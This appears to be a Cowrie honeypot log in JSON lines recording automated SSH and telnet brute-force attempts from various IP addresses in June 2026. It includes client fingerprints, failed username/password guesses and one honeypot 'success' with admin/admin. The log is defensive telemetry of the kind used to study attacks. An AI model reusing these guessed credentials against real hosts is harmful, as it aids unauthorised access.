{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:6d:f6:dc:90:f9:e8:bd:82:07:74:25:cd:f9:9e:d7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA1QewP8556+fO57Nzum7wrZXSg5zQtRUrlGc8o+zlZ9","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 14:6d:f6:dc:90:f9:e8:bd:82:07:74:25:cd:f9:9e:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:58.877529Z","src_ip":"208.87.242.161","session":"707048b9661f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:6d:f6:dc:90:f9:e8:bd:82:07:74:25:cd:f9:9e:d7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA1QewP8556+fO57Nzum7wrZXSg5zQtRUrlGc8o+zlZ9","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:58.880992Z","src_ip":"208.87.242.161","session":"707048b9661f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:66:bb:d4:fe:dd:39:7e:29:c0:7b:9a:68:3f:8d:88","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ8zrfkpL6BCmx/ZAEReH+BGFcHbh28hQOvUg6EME+Pzm/49OBHJPYv9dUxWYs8q8/SdA7fXE12/DCp4rPxiqwPLq8ahZGRTML/bBfKzHm+VXWrbxDbstGzvM1NgnxVRDyOdaSeaPQa1/Cuq//Pbg1MTIjswnlCHluhePzNa8AfhAAAAFQDpGYaISlBpYvROHTJfp/HHbd4aRwAAAIBe3LM3B1+Ls/dibhwOiSUUOpODfOKoYCYJcSDGhspjH9bl/Ae1zk0f4XtKHVhvbaJYeqj/ktQA+DUWh5+FVo32b2m5r2DtcNAXEoM9dCjJ3yfVaYNxfyEBlO80T9sIBBx8axKbEjPx7nOASfM8Rwy6dKOuuP26RXbknjbUUQtOdAAAAIAWT/uF1J3TVY9rTv+3C279+8puxyjXeUVJfnMSAwymYzGj4QXeh6KnwqjGNinQK6AyLMOCnn8qy09lnFkBvoetfYmAmauRbWgA+g3SvySgxrZevCkD+tPyJF5fX4lYWjN4x5C5f8sRa9LkJNN5X+J5fXDftp+u7bIagkUdqGFehg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 42:66:bb:d4:fe:dd:39:7e:29:c0:7b:9a:68:3f:8d:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:58.951390Z","src_ip":"208.87.242.161","session":"707048b9661f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:66:bb:d4:fe:dd:39:7e:29:c0:7b:9a:68:3f:8d:88","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ8zrfkpL6BCmx/ZAEReH+BGFcHbh28hQOvUg6EME+Pzm/49OBHJPYv9dUxWYs8q8/SdA7fXE12/DCp4rPxiqwPLq8ahZGRTML/bBfKzHm+VXWrbxDbstGzvM1NgnxVRDyOdaSeaPQa1/Cuq//Pbg1MTIjswnlCHluhePzNa8AfhAAAAFQDpGYaISlBpYvROHTJfp/HHbd4aRwAAAIBe3LM3B1+Ls/dibhwOiSUUOpODfOKoYCYJcSDGhspjH9bl/Ae1zk0f4XtKHVhvbaJYeqj/ktQA+DUWh5+FVo32b2m5r2DtcNAXEoM9dCjJ3yfVaYNxfyEBlO80T9sIBBx8axKbEjPx7nOASfM8Rwy6dKOuuP26RXbknjbUUQtOdAAAAIAWT/uF1J3TVY9rTv+3C279+8puxyjXeUVJfnMSAwymYzGj4QXeh6KnwqjGNinQK6AyLMOCnn8qy09lnFkBvoetfYmAmauRbWgA+g3SvySgxrZevCkD+tPyJF5fX4lYWjN4x5C5f8sRa9LkJNN5X+J5fXDftp+u7bIagkUdqGFehg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:58.955109Z","src_ip":"208.87.242.161","session":"707048b9661f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:dd:e6:56:f5:04:0a:81:79:2b:02:99:49:bb:bf:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCMDbDNe8RiVwRyi/bH5S6aKhDtvbzmIoK7qSN475cKUZXfrJxX6g3UQ2PPa3+Gg1g2p0Q1uPHatpGgb9PnSGpH8BD7usA4gXd8f/PdqjsnswDIQPGAP5TqeseH84OomiUvAfI+DtEVbSEMtjcHKWvpSla/CkPX748BnWJASbFrHbjdRhK9leDgrkNFL+hXjVcG5wsOHfoHB1CMVn9dhogoGMrjqpYs0fjDl+qpG2v2qNyglTFfcZWcRXybX5rGZnXw+638ssabSRrFZhSEHPyleTMxB5DWSZouvo8q3UDIzUhtylB+makIEuLowWxC9Jy1c6j0wMvOttkhuO1CLip9vo0unNAaiV7iyJLftvsCMkYxi7otOUXBTNjN/dcv1di3u/9pzqGtyY26F8JFY/dYYNgfpICIx0ho3sWLYNEtAbhurf2xojuV8sTLEl+O7yHK1KQssddJmPhg2BW32+XyEWCZXYBzIZVcRwFDOdEfXPVB3D+i7wxLZKBSnB+5uB0gxD7xela6Yo3G/dvH3kg5TlsnT/UJA8Px2rmFjGfGn7XZ88NlbYvpiCZtBWIyC//fpjTHHjJvt1BDbMazanHDaY3QbCirCHQvblg342uXw51P65pyGNd06VUQB+W7whFZAKrdcSkeFzWVVWovnhR9b3arurkSBEEdUYdGYO+dpw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:dd:e6:56:f5:04:0a:81:79:2b:02:99:49:bb:bf:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:59.028404Z","src_ip":"208.87.242.161","session":"707048b9661f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:dd:e6:56:f5:04:0a:81:79:2b:02:99:49:bb:bf:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCMDbDNe8RiVwRyi/bH5S6aKhDtvbzmIoK7qSN475cKUZXfrJxX6g3UQ2PPa3+Gg1g2p0Q1uPHatpGgb9PnSGpH8BD7usA4gXd8f/PdqjsnswDIQPGAP5TqeseH84OomiUvAfI+DtEVbSEMtjcHKWvpSla/CkPX748BnWJASbFrHbjdRhK9leDgrkNFL+hXjVcG5wsOHfoHB1CMVn9dhogoGMrjqpYs0fjDl+qpG2v2qNyglTFfcZWcRXybX5rGZnXw+638ssabSRrFZhSEHPyleTMxB5DWSZouvo8q3UDIzUhtylB+makIEuLowWxC9Jy1c6j0wMvOttkhuO1CLip9vo0unNAaiV7iyJLftvsCMkYxi7otOUXBTNjN/dcv1di3u/9pzqGtyY26F8JFY/dYYNgfpICIx0ho3sWLYNEtAbhurf2xojuV8sTLEl+O7yHK1KQssddJmPhg2BW32+XyEWCZXYBzIZVcRwFDOdEfXPVB3D+i7wxLZKBSnB+5uB0gxD7xela6Yo3G/dvH3kg5TlsnT/UJA8Px2rmFjGfGn7XZ88NlbYvpiCZtBWIyC//fpjTHHjJvt1BDbMazanHDaY3QbCirCHQvblg342uXw51P65pyGNd06VUQB+W7whFZAKrdcSkeFzWVVWovnhR9b3arurkSBEEdUYdGYO+dpw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:59.031553Z","src_ip":"208.87.242.161","session":"707048b9661f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:59.102948Z","src_ip":"208.87.242.161","session":"707048b9661f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":56217,"dst_ip":"159.203.135.109","dst_port":22,"session":"8de78a80b06b","protocol":"ssh","message":"New connection: 112.216.108.62:56217 (159.203.135.109:22) [session: 8de78a80b06b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:29:19.962321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:29:19.966776Z","src_ip":"112.216.108.62","session":"8de78a80b06b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:29:20.162567Z","src_ip":"112.216.108.62","session":"8de78a80b06b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"concert","message":"login attempt [root/concert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:29:20.977132Z","src_ip":"112.216.108.62","session":"8de78a80b06b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:29:22.176348Z","src_ip":"112.216.108.62","session":"8de78a80b06b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":47270,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ab1b6a8f609","protocol":"ssh","message":"New connection: 45.140.193.156:47270 (10.17.0.5:22) [session: 9ab1b6a8f609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:29:52.017788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:29:52.028296Z","src_ip":"45.140.193.156","session":"9ab1b6a8f609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:29:52.138858Z","src_ip":"45.140.193.156","session":"9ab1b6a8f609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"12345","message":"login attempt [tom/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:29:52.587603Z","src_ip":"45.140.193.156","session":"9ab1b6a8f609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:29:53.704036Z","src_ip":"45.140.193.156","session":"9ab1b6a8f609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":33954,"dst_ip":"159.203.135.109","dst_port":22,"session":"505a2e07204b","protocol":"ssh","message":"New connection: 103.15.222.183:33954 (159.203.135.109:22) [session: 505a2e07204b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:30:09.401183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:30:09.409529Z","src_ip":"103.15.222.183","session":"505a2e07204b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:30:09.663922Z","src_ip":"103.15.222.183","session":"505a2e07204b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zverev","message":"login attempt [root/zverev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:30:10.414700Z","src_ip":"103.15.222.183","session":"505a2e07204b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:30:11.666960Z","src_ip":"103.15.222.183","session":"505a2e07204b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":52616,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca4632802ea3","protocol":"ssh","message":"New connection: 103.176.20.57:52616 (159.203.135.109:22) [session: ca4632802ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:30:34.352652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:30:34.354982Z","src_ip":"103.176.20.57","session":"ca4632802ea3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:30:34.610935Z","src_ip":"103.176.20.57","session":"ca4632802ea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"austin1","message":"login attempt [root/austin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:30:35.376015Z","src_ip":"103.176.20.57","session":"ca4632802ea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:30:36.632728Z","src_ip":"103.176.20.57","session":"ca4632802ea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":48064,"dst_ip":"10.17.0.5","dst_port":23,"session":"160c6e56bdd3","protocol":"telnet","message":"New connection: 94.23.66.112:48064 (10.17.0.5:23) [session: 160c6e56bdd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:00.614569Z"}
{"eventid":"cowrie.session.closed","duration":0.004964590072631836,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:00.619394Z","src_ip":"94.23.66.112","session":"160c6e56bdd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":40440,"dst_ip":"10.17.0.5","dst_port":22,"session":"18132a963f91","protocol":"ssh","message":"New connection: 117.121.214.50:40440 (10.17.0.5:22) [session: 18132a963f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:03.771906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:03.775150Z","src_ip":"117.121.214.50","session":"18132a963f91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:04.016450Z","src_ip":"117.121.214.50","session":"18132a963f91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usr","password":"usr123","message":"login attempt [usr/usr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:05.018829Z","src_ip":"117.121.214.50","session":"18132a963f91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":1560,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f169614d5e9","protocol":"ssh","message":"New connection: 87.251.64.176:1560 (10.17.0.5:22) [session: 9f169614d5e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:05.030472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:05.034300Z","src_ip":"87.251.64.176","session":"9f169614d5e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:05.128190Z","src_ip":"87.251.64.176","session":"9f169614d5e9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:05.417010Z","src_ip":"87.251.64.176","session":"9f169614d5e9","protocol":"ssh"}
